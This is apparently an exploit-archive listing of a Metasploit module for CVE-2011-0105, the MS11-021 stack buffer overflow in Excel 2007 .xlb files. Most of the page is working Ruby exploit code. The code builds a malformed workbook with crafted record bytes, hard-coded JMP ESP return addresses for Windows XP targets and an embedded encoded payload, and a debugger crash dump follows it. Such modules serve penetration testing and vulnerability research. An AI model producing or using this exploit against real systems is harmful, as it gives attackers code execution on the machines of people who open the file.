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MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow

MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow
Posted Nov 6, 2011
Authored by Abysssec, sinn3r, Aniway, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack-based buffer overflow. This results in arbitrary code execution under the context of the user.

tags | exploit, overflow, arbitrary, code execution
advisories | CVE-2011-0105
MD5 | 52f4fae2645df04c9e459cc1c601657e

MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow

Change Mirror Download
##
# $Id: ms11_021_xlb_bof.rb 14172 2011-11-06 20:16:34Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Excel of Microsoft Office 2007.
By supplying a malformed .xlb file, an attacker can control the content (source)
of a memcpy routine, and the number of bytes to copy, therefore causing a stack-
based buffer overflow. This results aribrary code execution under the context of
user the user.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 14172 $",
'Author' =>
[
'Aniway', #Initial discovery (via ZDI)
'abysssec', #RCA, poc
'sinn3r', #Metasploit
'juan vazquez' #Metasploit
],
'References' =>
[
['CVE', '2011-0105'],
['MSB', 'MS11-021'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'],
['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/']
],
'Payload' =>
{
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'DisablePayloadHandler' => 'true',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Win XP SP3 (Vista and 7 will try to repair the file)
['Microsoft Office Excel 2007 on Windows XP', {'Ret' => 0x3006A48D }], # JMP ESP in EXCEL (Office 2007)
['Microsoft Office Excel 2007 SP2 on Windows XP', {'Ret'=>0x3006b185}], #JMP ESP in excel
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2011",
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The filename', 'msf.xlb'])
], self.class)
end

def exploit
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb')
f = File.open(path, 'rb')
template = f.read
f.close

p = payload.encoded

# Offset 1556
record = ''
record << "\xa7\x00" #record type
record << "\x04\x00" #record length
if target.name =~ /Excel 2007 SP2/ # Microsoft Office Excel 2007 SP2
record << "\xb0\x0d\x0c\x00" #data
else
record << "\xb0\x0f\x0c\x00" #data
end

# Offset 1564
continue_record = ''
continue_record << "\x3c\x00" #record type
continue_record << [p.length+32].pack('v') #length

buf = ''
buf << template[0, 1556]
buf << record
buf << continue_record
buf << rand_text_alpha(1)
buf << [target.ret].pack('V*')
buf << "\x00"*12
buf << p
buf << template[2336, template.length]

file_create(buf)
end
end

=begin
0:000> r
eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005
eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
EXCEL!Ordinal40+0x1a263d:
301a263d 8908 mov dword ptr [eax],ecx ds:0023:41414141=????????
0:000> dc esp
00137ef8 00000000 00000000 41414141 41414141 ........AAAAAAAA
00137f08 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f18 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f28 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f38 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f48 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f58 41414141 41414141 41414141 00000000 AAAAAAAAAAAA....
00137f68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
=end

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